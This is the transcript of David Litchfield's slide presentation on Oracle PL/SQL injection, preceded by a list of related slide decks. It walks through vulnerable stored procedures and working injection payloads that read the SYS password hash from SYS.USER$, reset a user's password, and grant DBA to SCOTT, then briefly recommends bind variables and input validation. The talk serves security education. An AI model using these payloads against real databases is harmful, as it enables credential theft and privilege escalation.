Oracle PL/SQL Injection David Litchfield. What is PL/SQL? Procedural Language / Structured Query Language Oracle’s extension to standard SQL Programmable.

Slides:



Advertisements
Similar presentations
PL/SQL.
Advertisements

AN INTRODUCTION TO PL/SQL Mehdi Azarmi 1. Introduction PL/SQL is Oracle's procedural language extension to SQL, the non-procedural relational database.
PL/SQL. Introduction to PL/SQL PL/SQL is the procedure extension to Oracle SQL. It is used to access an Oracle database from various environments (e.g.
SQL*PLUS, PLSQL and SQLLDR Ali Obaidi. SQL Advantages High level – Builds on relational algebra and calculus – Powerful operations – Enables automatic.
Database Security and Auditing: Protecting Data Integrity and Accessibility Chapter 8 Application Data Auditing.
Database Security and Auditing: Protecting Data Integrity and Accessibility Chapter 8 Application Data Auditing.
How Did I Steal Your Database Mostafa
Chapter 9: Advanced SQL and PL/SQL Topics Guide to Oracle 10g.
1 Copyright © 2004, Oracle. All rights reserved. Creating Stored Procedures.
2 Copyright © 2004, Oracle. All rights reserved. Creating Stored Functions.
Introduction to PL/SQL Lecture 0 – Self Study Akhtar Ali.
Bordoloi and Bock PROCEDURES, FUNCTIONS & TRIGGERS.
Adapted from Afyouni, Database Security and Auditing Database Application Auditing – Ch. 8.
Introduction to PL/SQL. Procedural Language extension for SQL Oracle Proprietary 3GL Capabilities Integration of SQL Portable within Oracle data bases.
ORACLE ONLINE TRAINING Contact our Support Team : SOFTNSOL India: Skype id : softnsoltrainings id:
Advanced Databases Advanced PL/SQL Programming: Procedure, Function and Package.
PL / SQL P rocedural L anguage / S tructured Q uery L anguage Chapter 7 in Lab Reference.
SAGE Computing Services Customised Oracle Training Workshops and Consulting Are you making the most of PL/SQL? Hints and tricks and things you may have.
Copyright © SUPINFO. All rights reserved Procedures and functions.
Lecture 4 PL/SQL language. PL/SQL – procedural SQL Allows combining procedural and SQL code PL/SQL code is compiled, including SQL commands PL/SQL code.
CSE 3330 Database Concepts Stored Procedures. How to create a user CREATE USER.. GRANT PRIVILEGE.
1 Copyright © 2004, Oracle. All rights reserved. Introduction to PL/SQL.
Stored procedures1 Stored procedures and functions Procedures and functions stored in the database.
Overview · What is PL/SQL · Advantages of PL/SQL · Basic Structure of a PL/SQL Block · Procedure · Function · Anonymous Block · Types of Block · Declaring.
1 Theory, Practice & Methodology of Relational Database Design and Programming Copyright © Ellis Cohen Cursors These slides are licensed under.
Lecture 8 Creating Stored Functions. Objectives  After completing this lesson, you should be able to do the following:  What is Function?  Types of.
Advanced SQL: Cursors & Stored Procedures
PL/SQL Oracle's Database Programming Language. Remember: Set serveroutput on With serveroutput off (default) executing procedure: With serveroutput on:
PL/SQL Procedural Language / Structured Query Language.
1 Copyright © 2004, Oracle. All rights reserved. Introduction to PL/SQL.
CIS4368: Advanced DatabaseSlide # 1 PL/SQL Dr. Peeter KirsSpring, 2003 PL/SQL.
8 1 Chapter 8 Advanced SQL Database Systems: Design, Implementation, and Management, Seventh Edition, Rob and Coronel.
BIS Database Systems School of Management, Business Information Systems, Assumption University A.Thanop Somprasong Chapter # 8 Advanced SQL.
Database Systems Design, Implementation, and Management Coronel | Morris 11e ©2015 Cengage Learning. All Rights Reserved. May not be scanned, copied or.
PL/SQL Block Structure DECLARE - Optional Variables, cursors, user-defined exceptions BEGIN - Mandatory SQL Statements PL/SQL Statements EXCEPTIONS - Optional.
Chapter 15 Introduction to PL/SQL. Chapter Objectives  Explain the benefits of using PL/SQL blocks versus several SQL statements  Identify the sections.
SQL for the Non - Technician Jeffrey Walsh AnswerThink Consulting Group, Inc.
School of Computing and Management Sciences © Sheffield Hallam University SQL is non-procedural –designed to be relatively approachable to non- programmers.
Stored Procedures. Definition a stored procedure is a set of Structured Query Language (SQL) statements with an assigned name that's stored in the database.
Dynamic SQL. 2 home back first prev next last What Will I Learn? Recall the stages through which all SQL statements pass Describe the reasons for using.
Retrieving Data in PL/SQL. 2 home back first prev next last What Will I Learn? In this lesson, you will learn to: –Recognize the SQL statements that can.
Creating Functions. V 12 NE - Oracle 2006 Overview of Stored Functions A function is a named PL/SQL block that returns a value A function can be stored.
Using SQL in PL/SQL Oracle Database PL/SQL 10g Programming Chapter 4.
Copyright © 2013 Curt Hill Triggers The Generation of Indirect Actions.
A procedure is a module performing one or more actions; it does not need to return any values. The syntax for creating a procedure is as follows: CREATE.
PL/SQL programming Procedures and Cursors Lecture 1 [Part 2]
Text TCS INTERNAL Oracle PL/SQL – Introduction. TCS INTERNAL PL SQL Introduction PLSQL means Procedural Language extension of SQL. PLSQL is a database.
Szymon Skorupinski Oracle Tutorials, CERN, Geneva, 30th April 2013.
Chapter 8 Advanced SQL Pearson Education © Chapter 8 - Objectives How to use the SQL programming language How to use SQL cursors How to create stored.
Kingdom of Saudi Arabia Ministry of Higher Education Al-Imam Muhammad Ibn Saud Islamic University College of Computer and Information Sciences Overview.
1 11g NEW FEATURES ByVIJAY. 2 AGENDA  RESULT CACHE  INVISIBLE INDEXES  READ ONLY TABLES  DDL WAIT OPTION  ADDING COLUMN TO A TABLE WITH DEFAULT VALUE.
Introduction to PL/SQL N. Dimililer. About PL/SQL –PL/SQL is an extension to SQL with design features of programming languages. –Data manipulation and.
Hack Your DB Before The Hackers Do! Slavik Markovich CTO, Sentrigo.
Stored Procedures and Functions Pemrograman Basis Data MI2183.
STORED PROCEDURE & STORED FUNCTION Politeknik Telkom 2012.
CS422 Principles of Database Systems Oracle PL/SQL Chengyu Sun California State University, Los Angeles.
Oracle9i Developer: PL/SQL Programming Chapter 6 PL/SQL Packages.
1 Copyright © 2004, Oracle. All rights reserved. PL/SQL Programming Concepts: Review.
6 Copyright © 2009, Oracle. All rights reserved. Using Dynamic SQL.
Database System Implementation CSE 507
COMP 430 Intro. to Database Systems
Creating Stored Functions
Difference between Oracle PL/SQL and MySQL
OER- UNIT 3 Authorization
SQL .. An overview lecture3.
Chapter 8 Advanced SQL.
Information Management
Chapter 8 Advanced SQL Pearson Education © 2009.
Prof. Arfaoui. COM390 Chapter 7
Presentation transcript:

Oracle PL/SQL Injection David Litchfield

What is PL/SQL? Procedural Language / Structured Query Language Oracle’s extension to standard SQL Programmable like T-SQL in the Microsoft world. Used to create Stored Procedures Functions Packages (collections of procedures and functions) Triggers Objects Extends functionality with External Procedures

Privileges – Definer vs. Invoker rights PL/SQL executes with the privileges of the definer A procedure owned by SYS executes with SYS privileges AUTHID CURRENT_USER keyword PL/SQL created using the AUTHID CURRENT_USER keyword executes with the privileges of the invoker A procedure owned by SYS but called by SCOTT executes with the privileges of SCOTT Analogous to Suid programs in the *nix world.

PL/SQL over the Web Oracle Application Server / Web Portal Acts as a proxy, passes request to the database server and the PL/SQL executes inside the database server – not the front end.

PL/SQL Injection SELECT statements DML – UPDATE, DELETE, INSERT Anonymous PL/SQL Blocks in Procedures

PL/SQL SELECT Example CREATE OR REPLACE PROCEDURE LIST_LIBRARIES(P_OWNER VARCHAR2) AS TYPE C_TYPE IS REF CURSOR; CV C_TYPE; BUFFER VARCHAR2(200); BEGIN DBMS_OUTPUT.ENABLE( ); OPEN CV FOR 'SELECT OBJECT_NAME FROM ALL_OBJECTS WHERE OWNER = ''' || P_OWNER || ''' AND OBJECT_TYPE=''LIBRARY'''; LOOP FETCH CV INTO buffer; DBMS_OUTPUT.PUT_LINE(BUFFER); EXIT WHEN CV%NOTFOUND; END LOOP; CLOSE CV; END; /

Exploiting PL/SQL and SELECT statements EXEC SYS.LIST_LIBRARIES(‘SYS’); EXEC SYS.LIST_LIBRARIES('FOO'' UNION SELECT PASSWORD FROM SYS.USER$--'); Easy if printed to screen!

A more difficult example CREATE OR REPLACE FUNCTION SELECT_COUNT(P_OWNER VARCHAR2) RETURN NUMBER IS CNT NUMBER; STMT VARCHAR2(200); BEGIN STMT:='SELECT COUNT(*) FROM ALL_OBJECTS WHERE OWNER=''' || P_OWNER || ''''; EXECUTE IMMEDIATE STMT INTO CNT; RETURN CNT; END; /

Exploiting this SELECT SYS.SELECT_COUNT('SYS') FROM DUAL; SELECT SYS.SELECT_COUNT('SYS'' UNION SELECT PASSWORD FROM SYS.USER$ WHERE NAME=''SYS''--') FROM DUAL; returns error ORA-01790: expression must have same datatype as corresponding expression.

Exploiting this…. SELECT SYS.SELECT_COUNT('SYS'' UNION SELECT USER# FROM SYS.USER$ WHERE NAME=''SYS''--') FROM DUAL; returns the error ORA-01422: exact fetch returns more than requested number of rows.

Exploiting this…. SELECT SYS.SELECT_COUNT('SYS'' AND OBJECT_NAME = (SELECT PASSWORD FROM SYS.USER$ WHERE NAME=''SYS'')--') FROM DUAL; Just returns 0! How do we exploit this then?

Attacker-defined function CREATE OR REPLACE FUNCTION GET_IT RETURN VARCHAR2 AUTHID CURRENT_USER IS TYPE C_TYPE IS REF CURSOR; CV C_TYPE; BUFF VARCHAR2(30); STMT VARCHAR2(200); BEGIN DBMS_OUTPUT.ENABLE( ); STMT:='SELECT PASSWORD FROM SYS.USER$ WHERE NAME = ''SYS'''; EXECUTE IMMEDIATE STMT INTO BUFF; DBMS_OUTPUT.PUT_LINE('SYS PASSWORD HASH IS ' || BUFF); OPEN CV FOR 'SELECT GRANTEE FROM DBA_ROLE_PRIVS WHERE GRANTED_ROLE=’’DBA’’’; LOOP FETCH CV INTO BUFF; DBMS_OUTPUT.PUT_LINE(BUFF || ‘ IS A DBA.’); EXIT WHEN CV%NOTFOUND; END LOOP; CLOSE CV; RETURN 'FOO'; END; / Inject this into function

Inject our function SELECT SYS.SELECT_COUNT('FOO'' || SCOTT.GET_IT()--') FROM DUAL; But where’s our output??? Call EXEC DBMS_OUTPUT.PUT_LINE('OUTPUT')

Limitations Can’t execute DML or DDL

Injecting into DML – INSERT, UPDATE, DELETE Extremely flexible: Can inject an UPDATE into a DELETE, INSERT Can inject a DELETE into an UPDATE, INSERT Can inject an INSERT into a DELETE, UPDATE Can inject SELECTS

DML example CREATE OR REPLACE PROCEDURE NEW_EMP(P_NAME VARCHAR2) AS STMT VARCHAR2(200); BEGIN STMT :=’INSERT INTO EMPLOYEES (EMP_NAME) VALUES (‘’’ || P_NAME || ‘’’)’; EXECUTE IMMEDIATE STMT; END; /

Exploiting this …. EXEC SYS.NEW_EMP(‘FOO’’ || SCOTT.GET_IT)--‘); CREATE OR REPLACE FUNCTION RSTPWD RETURN VARCHAR2 AUTHID CURRENT_USER IS MYSTMT VARCHAR2(200); BEGIN MYSTMT:=’UPDATE SYS.USER$ SET PASSWORD = ‘’FE0E8CE7C92504E9’’ WHERE NAME=’’ANONYMOUS’’’; EXECUTE IMMEDIATE MYSTMT; RETURN ‘FOO’; END; / EXEC SYS.NEW_EMP('P'' || SCOTT.RSTPWD)--');

Limitations Can’t execute DDL

Injecting into anonymous PL/SQL blocks Fully flexible SELECTs INSERTS, UPDATES, DELETE And DDL – e.g. CREATE and DROP GRANT DBA!

Example CREATE OR REPLACE PROCEDURE ANON_BLOCK(P_BUF VARCHAR2) AS STMT VARCHAR2(200); BEGIN STMT:= 'BEGIN ' || 'DBMS_OUTPUT.PUT_LINE(''' || P_BUF || ''');' || 'END;'; EXECUTE IMMEDIATE STMT; END;

Exploiting… EXEC SYS.ANON_BLOCK('FOOBAR'); EXEC SYS.ANON_BLOCK('F''); EXECUTE IMMEDIATE ''GRANT DBA TO SCOTT''; END; --');

Trigger Abuse Be careful with Triggers. They can be abused, too!

Protecting against PL/SQL Injection Use bind variables Validate input

Thanks! Questions?

Copyright © Next Generation Security Software Ltd. All other trade marks are the property of their respective owner, and are used in an editorial context without intent of infringement. Thank You